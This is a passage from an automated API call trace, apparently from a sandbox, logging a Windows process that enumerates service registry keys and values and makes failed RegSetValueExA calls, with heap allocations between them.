lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.146] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0177.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0177.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0177.148] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8, cbData=0x195) returned 0x6 [0177.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0177.148] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1c88, cbData=0x1) returned 0x6 [0177.148] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0177.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0177.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0177.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0177.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0177.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0177.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0177.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0177.149] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0177.150] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0177.150] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0177.151] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0177.151] RegQueryValueExA (in: hKey=0x14c, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1bb0, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0177.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0177.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.152] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0xc) returned 0x6 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.152] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x1) returned 0x6 [0177.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.152] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.152] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0177.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0177.153] RegEnumValueA (in: hKey=0x14c, 